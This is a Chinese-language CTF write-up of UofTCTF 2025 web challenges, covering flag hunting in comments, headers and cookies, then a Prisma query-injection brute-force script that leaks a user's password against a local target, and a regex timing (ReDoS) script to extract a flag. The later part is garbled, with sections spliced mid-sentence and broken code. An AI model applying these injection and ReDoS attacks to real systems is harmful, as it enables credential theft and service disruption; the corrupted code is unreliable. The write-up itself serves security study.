UofTCTF-2025-web-复现
感兴趣朋友可以去我博客里看,画风更好看
UofTCTF-2025-web-复现
文章目录
- scavenger-hunt
- prismatic-blogs
- code-db
- prepared-1
- prepared-2
- timeless
scavenger-hunt
国外的一些ctf简单题就喜欢把flag藏在注释里,开源代码找到第一部分的flag
抓个包返回数据显示304,说明内容没有被更新,剩下的flag很有可能也是被藏起来了。
开dirsearch扫一下,意外找到part4的flag
去提示地址,拿到part6的flag(这里差点漏了一个细节,之前找信息时顺手把cookie里的guess改成了admin,要经过这步修改才能进到part6)
同时在part6的cookie里还有part3的值
正在想按顺序找的话part2会不会在网络里,结果在这偶遇part5
发现一段可疑js代码,丢给grok分析一手,发现是主页面显示那段废话文字的,没啥用。
剩下part2和part7没思路了,看看wp吧
原来part7在这个路由里,当时看见了但感觉不太可能访问
part2是在header里,即响应标头,在网络里(被part5带偏了)
prismatic-blogs
这道题有意思的地方是它是sqlite数据库,但是js的prsima库会将nosql查询语句自动解析为适配sqlite数据库的sql语句
Prisma 的统一 API:
-
Prisma 的 where 条件语法与 MongoDB 类似(支持 AND、startsWith 等),即使底层是 SQLite。
-
攻击者注入的查询(如 startsWith)被 Prisma 转换为 SQLite 的 LIKE,使得攻击行为类似于 NoSQL 注入。
在posts页面可以插入查询语句,且没有任何过滤
app.get( "/api/posts", async (req, res) => { try { let query = req.query; query.published = true; let posts = await prisma.post.findMany({where: query}); res.json({success: true, posts}) } catch (error) { res.json({ success: false, error }); } } );
我们需要做的就是在这里爆出登录密码(用户名都是已知的),接着去login路由登录即可拿到flag
构造一手
AND: [ author: { password: { startsWith: abcdefg } }, author: { name: { equals: Bob } } ]
转换为url查询参数,AND[0]表示AND的第一个条件
import requests import json s='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789' cha='' for i in range(25): for c in s: res=requests.get(f"http://localhost:70/api/posts?AND[0][author][name]=Bob&AND[0][author][password][startsWith]={cha+c}") if res.json().get('posts'): cha+=c print(cha)
这里startsWith是不区分大小写的,所以在爆出密码后再用lt逻辑分出大小写即可,但单一的lt或lte比较不能确定大小写,因为如果前几个字符相等,那么长度短的字符会被认为是更小的。此时就会对我们的if判断产生影响。所以我们采取替换字符避免出现相等误判的现象
我们假设逻辑是
for j in cha: tmp+=chr(ord(j)+1) AND[1][author][password][lt]={tmp}
假设比较到字符A
构造密码串 真实密码串 逻辑 A"query":query,"language":"All"}) np=time.time() return np-op def repla(query): return re.sub(r'([.*+?^${}()|[\]\\])',r'\\\1',query) flag="uoftctf{" while true: for i in tqdm(string.printable): tmp=repla(flag+i) payload=f"/^(?={tmp})(((((((((.*)*)*)*)*)*)*)*)*)!!!!!!!$/" if postdata(payload)0.8: flag+=i print(flag) break if flag.endswith("}"): break '__getitem__': lambda _, k: format_map[k] if isinstance(format_map[k], str) else format_map[k]("",k) })()) 有键则替换,无键则保留占位符 "name": "Alice", "age": 25} result = template.format_map(mapping) print(result) # 输出: Hello, Alice! You are 25 years old.
-